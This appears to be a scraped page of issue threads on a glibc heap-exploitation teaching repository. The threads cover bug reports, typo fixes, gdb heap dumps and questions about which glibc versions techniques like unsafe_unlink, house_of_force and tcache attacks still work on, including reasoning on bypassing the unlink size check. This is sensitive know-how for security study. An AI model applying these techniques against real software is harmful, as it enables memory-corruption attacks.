While compiling on Ubuntu 14.044.3, gcc version 4.8.4, I got the following error:

$ make
cc -std=c99    fastbin_dup.c   -o fastbin_dup
cc -std=c99    fastbin_dup_into_stack.c   -o fastbin_dup_into_stack
cc -std=c99    unsafe_unlink.c   -o unsafe_unlink
cc -std=c99    house_of_spirit.c   -o house_of_spirit
cc -std=c99    poison_null_byte.c   -o poison_null_byte
cc -std=c99    malloc_playground.c   -o malloc_playground
malloc_playground.c: In function ‘main’:
malloc_playground.c:27:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
   gets(buffer);
   ^
/tmp/ccquQQGB.o: In function `main':
malloc_playground.c:(.text+0xc2): warning: the `gets' function is dangerous and should not be used.

Question about first_fit.c example

If x in c = malloc(x) is fewer than 505 bytes, the example won't work. As I understand in c = malloc(x), x should be in range from 505 to 520 bytes. If someone can point to source code, I will be happy to check it.

Linux Kernel (SLUB/SLAB)

It'd be nice to see some write-ups on SLUB / SLAB exploitation.

It should be relatively easy to rip out the allocator and turn it into a user-space library a la LD_PRELOAD.

Typo on house of spirit... I think

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

On this line I believe &fake_chunks[7] should be &fake_chunks[9] given that the next header is placed like so: fake_chunks[9] = 0x1234; // nextsize

house_of_lore.c in glibc_2.31 is incorrect

hi, the house_of_lore.c in glibc_2.31 is old ,which may be the 2.27 version but need change memcpy's offset(+0x68) i'm not sure this is same in different environment. :)

house_of_einherjar example size check

I'm seeing the following in the example posted:

We edit our fake chunk size so that it is small enough to pass size checks

Can you guys post a url (maybe in the code) to where in the C code this check is taking place?

Update House of Force Version Info

The main page claims that libc < 2.29 is vulnerable to the House of Force attack, but the malloc(): corrupted top size check seems to have been backported to previous versions. My 2.28 libc contains this check. Prior versions may have received the fix as well.

tcache stuff

Thread local caching was enabled by default with version 2.26

Adjust examples to the new caching mechanism and hopefully add some new attacks introduced by the tcache itself!:-)

How it works ?

I just learned about the heap, how does this work? Are there good sources for beginners like me?

Slight mistake in house_of_force.c

Hi, I found a slight mistake of house_of_force.c

        fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");

//allocate first chunk
        intptr_t *p1 = malloc(256);

        fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); 
        //fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);   
        //explanation: wrong offset size because p1 is an intptr_t pointer, hence p1 - sizeof(long)*2 will actually offset address-8*2*8

The above is the suggested fix.

The correct output is as follows:

Let's allocate the first chunk, taking space from the wilderness.
The chunk of 256 bytes has been allocated at 0x555555757250.

confirmed in gdb

gef➤  vmmap [heap]
Start              End                Offset             Perm Path
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]
gef➤  x/4gx 0x0000555555757000
0x555555757000:	0x0000000000000000	0x0000000000000251
0x555555757010:	0x0000000000000000	0x0000000000000000
gef➤  x/4gx 0x0000555555757250
0x555555757250:	0x0000000000000000	0x0000000000000111
0x555555757260:	0x0000000000000000	0x0000000000000000
gef➤  x/4gx 0x0000555555757250+0x110
0x555555757360:	0x0000000000000000	0x0000000000020ca1
0x555555757370:	0x0000000000000000	0x0000000000000000

unsafe_unlink doesn't work with glibc 2.26

hi, I got a problem when running unsafe_unlink on my Linux which has glibc 2.26.
You have tested on Ubuntu16.04 which has glibc 2.23, and the following check has not been added in this version.

 /* Take a chunk off a bin list */
 #define unlink(AV, P, BK, FD) {                                            \
+    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
+      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
     FD = P->fd;                                                                      \
     BK = P->bk;                                                                      \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \

In unsafe_unlink.c, These comments indicate that the check should be bypassed

We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)
With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))
If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).
We just need to set the *(chunk0_ptr + x) = x, so we can pass the check
1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing
2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass
3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20
In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (0x555555757268) == chunk0_ptr->size (0x555555757268)
You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

But not, I don't know why. Could you explain it for me?

Original value: Hello!~
New Value: Hello!~

Misleading descriptions for glibc > 2.26 techniques

I've created this issues, because from my personal perspective explanations of some techniques became misleading, when attacks on tcache were introduced. In example, let's see glibc_2.26/unsorted_bin_attack.c. It says that to use this technique is only usable, when libc is compiled without tcache. But, is there a chance that glibc would be compiled without tcache in real world?

There are multiple ways go get rid of tcache that don't require recompilation of glibc. In example, calloc function doesn't use tcache (at the moment). House of Rabbit includes another way to evict tcache, which requires strong primitives, but still...

I know it's hard to maintain this repo, because there are a lot of changes made to glibc allocation algorightms, and a lot of techniques have become deprecated lately, but I suppose that these descriptions might disorient beginners, who haven't yet learnt all these details.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.